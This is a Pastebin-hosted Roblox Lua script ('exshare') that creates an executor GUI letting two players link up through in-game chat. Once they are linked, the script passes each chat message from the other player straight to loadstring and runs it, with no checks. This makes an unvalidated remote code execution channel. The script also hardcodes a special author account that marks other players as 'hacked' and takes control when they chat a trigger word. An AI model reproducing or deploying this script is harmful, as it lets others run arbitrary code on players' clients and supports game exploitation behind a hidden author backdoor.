sagat1719

exshare

Apr 8th, 2024 (edited)
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 8.11 KB | None | 0 0
  1. local share = Instance.new("ScreenGui")
  2. local Frame = Instance.new("Frame")
  3. local TextBox = Instance.new("TextBox")
  4. local close = Instance.new("TextButton")
  5. local clear = Instance.new("TextButton")
  6. local execute = Instance.new("TextButton")
  7. local find = Instance.new("TextButton")
  8. share.Name = "share"
  9. share.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  10. share.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  11. share.DisplayOrder = 999999999
  12. share.ResetOnSpawn = false
  13. Frame.Parent = share
  14. Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  15. Frame.BorderSizePixel = 2
  16. Frame.Position = UDim2.new(0.13907285, 0, 0.263688803, 0)
  17. Frame.Size = UDim2.new(0, 406, 0, 177)
  18. TextBox.Parent = Frame
  19. TextBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
  20. TextBox.BorderSizePixel = 0
  21. TextBox.Position = UDim2.new(0.0320197046, 0, 0.112994522, 0)
  22. TextBox.Size = UDim2.new(0, 380, 0, 106)
  23. TextBox.Font = Enum.Font.Arial
  24. TextBox.Text = ""
  25. TextBox.PlaceholderText = ""
  26. TextBox.ClearTextOnFocus = false
  27. TextBox.TextColor3 = Color3.fromRGB(24,178,75)
  28. TextBox.TextScaled = true
  29. TextBox.RichText = true
  30. TextBox.TextSize = 14
  31. TextBox.TextWrapped = true
  32. close.Name = "close"
  33. close.Parent = Frame
  34. close.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  35. close.BorderSizePixel = 0
  36. close.Position = UDim2.new(0.948275864, 0, 3.31712812e-07, 0)
  37. close.Size = UDim2.new(0, 21, 0, 20)
  38. close.Font = Enum.Font.SourceSans
  39. close.Text = "X"
  40. close.TextColor3 = Color3.fromRGB(0, 0, 0)
  41. close.TextScaled = true
  42. close.TextSize = 14
  43. close.BackgroundTransparency = 1
  44. close.TextWrapped = true
  45. clear.Name = "clear"
  46. clear.Parent = Frame
  47. clear.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  48. clear.BorderSizePixel = 0
  49. clear.Position = UDim2.new(0.0320197046, 0, 0.757062495, 0)
  50. clear.Size = UDim2.new(0, 185, 0, 33)
  51. clear.Font = Enum.Font.SourceSans
  52. clear.BorderSizePixel = 2
  53. clear.Text = "Clear"
  54. clear.TextColor3 = Color3.fromRGB(0, 0, 0)
  55. clear.TextScaled = true
  56. clear.TextSize = 14
  57. clear.TextWrapped = true
  58. clear.Visible = false
  59.  
  60. find.Name = "find"
  61. find.Parent = Frame
  62. find.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  63. find.BorderSizePixel = 0
  64. find.Position = UDim2.new(0.256, 0, 0.757062495, 0)
  65. find.Size = UDim2.new(0, 185, 0, 33)
  66. find.Font = Enum.Font.SourceSans
  67. find.BorderSizePixel = 2
  68. find.Text = "Find"
  69. find.TextColor3 = Color3.fromRGB(0, 0, 0)
  70. find.TextScaled = true
  71. find.TextSize = 14
  72. find.TextWrapped = true
  73. find.Visible = true
  74.  
  75. execute.Name = "execute"
  76. execute.Parent = Frame
  77. execute.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  78. execute.BorderSizePixel = 0
  79. execute.Position = UDim2.new(0.522167504, 0, 0.757062495, 0)
  80. execute.Size = UDim2.new(0, 181, 0, 33)
  81. execute.Font = Enum.Font.SourceSans
  82. execute.Text = "Execute"
  83. execute.TextColor3 = Color3.fromRGB(0, 0, 0)
  84. execute.BorderSizePixel = 2
  85. execute.TextScaled = true
  86. execute.TextSize = 14
  87. execute.TextWrapped = true
  88. execute.Visible = false
  89. UserInputService = game:GetService("UserInputService")
  90. local gui = Frame
  91. local dragging
  92. local dragInput
  93. local dragStart
  94. local startPos
  95. local function updatew(input)
  96.     local delta = input.Position - dragStart
  97.     gui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
  98. end
  99. gui.InputBegan:Connect(function(input)
  100.     if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
  101.         dragging = true
  102.         dragStart = input.Position
  103.         startPos = gui.Position
  104.  
  105.         input.Changed:Connect(function()
  106.             if input.UserInputState == Enum.UserInputState.End then
  107.                 game:GetService("GuiService").TouchControlsEnabled = true
  108.                 dragging = false
  109.             end
  110.         end)
  111.     end
  112. end)
  113. gui.InputChanged:Connect(function(input)
  114.     if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  115.         game:GetService("GuiService").TouchControlsEnabled = false
  116.         dragInput = input
  117.     end
  118. end)
  119. UserInputService.InputChanged:Connect(function(input)
  120.     if input == dragInput and dragging then
  121.         updatew(input)
  122.     end
  123. end)
  124. local function notify(text, delay)
  125.     local function ba()
  126.         local msg = Instance.new("Message")
  127.         msg.Parent = workspace
  128.         msg.Text = text
  129.         wait(delay)
  130.         msg:Destroy()
  131.     end
  132.     local co = coroutine.create(ba)
  133.     coroutine.resume(co)
  134. end
  135. local function cleartext()
  136.     TextBox.Text = ""
  137. end
  138. local function chat(text)
  139.     require(game.Players.LocalPlayer.PlayerScripts.ChatScript.ChatMain).MessagePosted:fire(text)
  140. end
  141. local con
  142. local con2
  143. _G.Connected = false
  144. _G.Enabled = true
  145. local function executecode(text)
  146.     if string.find(text,"#") then
  147.         notify("Your friend message was tagged", 5)
  148.     elseif string.find(text,"Closed Menu") then
  149.         notify("Your friend closed executor...", 5)
  150.         con:Disconnect()
  151.         con2:Disconnect()
  152.         _G.Enabled = true
  153.         cleartext()
  154.         _G.Connected = false
  155.         clear.Visible = false
  156.         find.Visible = true
  157.         execute.Visible = false
  158.         TextBox.PlaceholderText = "Type here a player name"
  159.         _G.OtherPlr = nil
  160.     else
  161.         loadstring(text)()
  162.     end
  163. end
  164. local function test(plr)
  165.     if game.Players.LocalPlayer.Name == "123XxXMegaProXxX123" then
  166.         if plr.Name == "123XxXMegaProXxX123" then
  167.         else
  168.             plr.Chatted:Connect(function(msg)
  169.                 if msg == "Hacked" then
  170.                     notify(""..plr.Name.." got hacked!", 5)
  171.                     _G.Enabled = true
  172.                     _G.Connected = true
  173.                     TextBox.PlaceholderText = "_G.OtherPlr = game.Players."..game.Players.LocalPlayer.Name
  174.                     _G.OtherPlr = plr
  175.                     execute.Visible = true
  176.                     find.Visible = false
  177.                     clear.Visible = true
  178.                 end
  179.             end)
  180.         end
  181.     end
  182. end
  183. for _, plr in ipairs(game.Players:GetChildren()) do
  184.     test(plr)
  185. end
  186. game.Players.PlayerAdded:Connect(function(plr)
  187.     test(plr)
  188. end)
  189. TextBox.PlaceholderText = "Type here a player name"
  190. clear.MouseButton1Click:Connect(function()
  191.     cleartext()
  192. end)
  193. execute.MouseButton1Click:Connect(function()
  194.     chat(TextBox.Text)
  195. end)
  196. TextBox.Focused:Connect(function()
  197.     TextBox.TextColor3 = Color3.new(0.1,0.8,0.1)
  198. end)
  199. close.MouseButton1Click:Connect(function()
  200.     if con then
  201.         con:Disconnect()
  202.     end
  203.     chat("Closed Menu")
  204.     share:Destroy()
  205. end)
  206. find.MouseButton1Click:Connect(function()
  207.     if _G.Connected == false then
  208.         if _G.Enabled == true then
  209.             if game.Players:FindFirstChild(TextBox.Text) then
  210.                 local plr = game.Players:FindFirstChild(TextBox.Text)
  211.                 if plr == game.Players.LocalPlayer then
  212.                     notify("You can't control yourself!",5)
  213.                     cleartext()
  214.                 else
  215.                     notify("Waiting for ".. plr.Name.." Respond", 20)
  216.                     con = plr.Chatted:Connect(function(msg)
  217.                         if msg == "Trying to connect" then
  218.                             if _G.Connected == false then
  219.                                 _G.Enabled = true
  220.                                 _G.Connected = true
  221.                                 TextBox.PlaceholderText = "_G.OtherPlr = game.Players."..game.Players.LocalPlayer.Name
  222.                                 _G.OtherPlr = plr
  223.                                 chat("Trying to connect")
  224.                                 notify("Connected to "..plr.Name.."!", 5)
  225.                                 execute.Visible = true
  226.                                 find.Visible = false
  227.                                 clear.Visible = true
  228.                             end
  229.                         else
  230.                             if string.find(msg,"Closed Menu") then
  231.                                 con:Disconnect()
  232.                             else
  233.                                 executecode(msg)
  234.                             end
  235.                         end
  236.                     end)
  237.                     con2 = game.Players.PlayerRemoving:Connect(function(player)
  238.                         if player.Name == plr.Name then
  239.                             con:Disconnect()
  240.                             notify("The Connected Player Left...", 5)
  241.                             con2:Disconnect()
  242.                             _G.Enabled = true
  243.                             cleartext()
  244.                             _G.Connected = false
  245.                             clear.Visible = false
  246.                             find.Visible = true
  247.                             execute.Visible = false
  248.                             TextBox.PlaceholderText = "Type here a player name"
  249.                             _G.OtherPlr = nil
  250.                         end
  251.                     end)
  252.                     chat("Trying to connect")
  253.                     cleartext()
  254.                     _G.Enabled = false
  255.                     TextBox.PlaceholderText = "Currently waiting for a respond..."
  256.                     wait(20)
  257.                     if _G.Connected == false then
  258.                         TextBox.PlaceholderText = "Type here a player name"
  259.                     end
  260.                     _G.Enabled = true
  261.                     if _G.Connected == false then
  262.                         con:Disconnect()
  263.                         notify("Player didn't respond",5)
  264.                     end
  265.                 end
  266.             else
  267.                 notify("Player not found", 2)
  268.                 cleartext()
  269.             end
  270.         end
  271.     end
  272. end)
  273. TextBox.FocusLost:Connect(function()
  274.     TextBox.TextColor3 = Color3.new(0.8,0.8,0.8)
  275. end)
Advertisement
Add Comment
Please, Sign In to add comment